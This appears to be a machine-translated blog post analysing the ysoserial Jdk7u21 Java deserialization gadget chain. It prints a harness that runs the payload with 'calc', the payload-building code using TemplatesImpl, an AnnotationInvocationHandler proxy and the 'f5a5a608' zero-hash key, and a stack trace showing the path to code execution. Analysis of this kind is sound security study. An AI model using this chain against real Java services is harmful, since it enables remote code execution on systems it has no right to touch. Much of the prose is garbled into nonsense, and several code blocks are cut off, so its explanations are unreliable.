[Java] Ysoserial JDK7u21

3 minute read

Environmental environment

jdk7u21 ysoserial idea



package ysoserial.mytest;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("calc");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//For use, person, object, serialization, byte number, systematic export

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(calc);//Serialization object

            byte[] bytes = byteArrayOutputStream.toByteArray(); //Post-serialization object byte number set

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//Residual byte number group import flow

            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
        } catch (Exception e) {


Neck tip 简 讀 讀 讀 蠁 rce

TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");


createTemplatesImpl use javassist dynamic additive religion java substitute, automatic behavior at the time of initialization, previous text, getOutputProperties () newTransformer ()

Completed getTransletInstance ()

getTransletInstance () Lieutenant General 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节

Current problem, how to fix it, getOutputProperties for anti-ordering, and payload for grabbing

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        return set;

map Pre-existing one individual f5a5a608 = foo, after that f5a5a608 值 Reform Templates Impl

set Opposite object Existence TemplatesImpl Rebellious opposition elephant sum Templates-like dynamic surrogate opposition


LinkedHashSet Inheritance HashSet, its readObject in HashSet

Currently readObjcet Chukai Shogun Anti-ordered object put () In-release map (HashSet essence HashMap), pre-added templates re-added proxy. In put () secondary addition proxy-like time, in map already completed one TemplatesImpl
The reason is that the key is an entry-like key comparison, this key is the same as the new one, and the old one is the old one.

e.hash == hash && ((k = e.key) == key || key.equals(k))

Problem Appearance key.equals (k), however, the point of entry equals method Demand stake frontal short-circuit condition

  1. e.hash == hash
  2. (k = e.key) == key

e.hash generation payload-like timeset.add (proxy) calculative, proxy

hashCodeImpl:293, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:351, HashMap (java.util)
put:471, HashMap (java.util)
add:217, HashSet (java.util)
getObject:84, Jdk7u21 (ysoserial.payloads)
rce:21, JDK7u21 (ysoserial.mytest)
main:16, JDK7u21 (ysoserial.mytest)

In java.util.HashMap #put Addition 键 值 值 TIME Prediction object hash, run 1 individual hash (key) function

This time, proxy, proxy object, additional hashCode () function demand, dynamic proxy, invoke interface, application method, hashCode, and entry hashCodeImpl ()

    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();

        return var1;

This individual method hen 历 memberValues This individual map object, after all

v += 127 * (key).hashCode() ^ memberValueHashCode(value);

memberValueHashCode () Direct return var0.hashCode () , Yasushi Direct return Original symmetric hashcode, However, return required run primary 亦, or reason required 127 * (key) .hashCode () = 0, The key is f5a5a608, the other hashcode is 0, and the object is not good or bad.

Taku Exhibition: Empty string Kushiwa \ u0000-like hashCode


e.hash == hash Actually, it is a proxy proxy @ javax.xml.transform.Templates (f5a5a608 = foo) Objective hash Kazuyuki Pre-calculated self hash comparison, the result is naturally true.

(k = e.key) == key 拿 proxy opposition elephant sum Templates comparison affirmative false.

Arrive key.equals (k) This step, Yasushi proxy.equals (templates). Proxy-like equals function for the same reasoning function demand passing invoke interface running

After that

getMemberMethods () Extraction method

GetOutputProperties (), sequel to the literary rce flow.


    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");

Opposite this.type Progress completed Annotation.class


  1. https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ
  2. https://b1ue.cn/archives/176.html
  3. https://xz.aliyun.com/t/6884
  4. https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/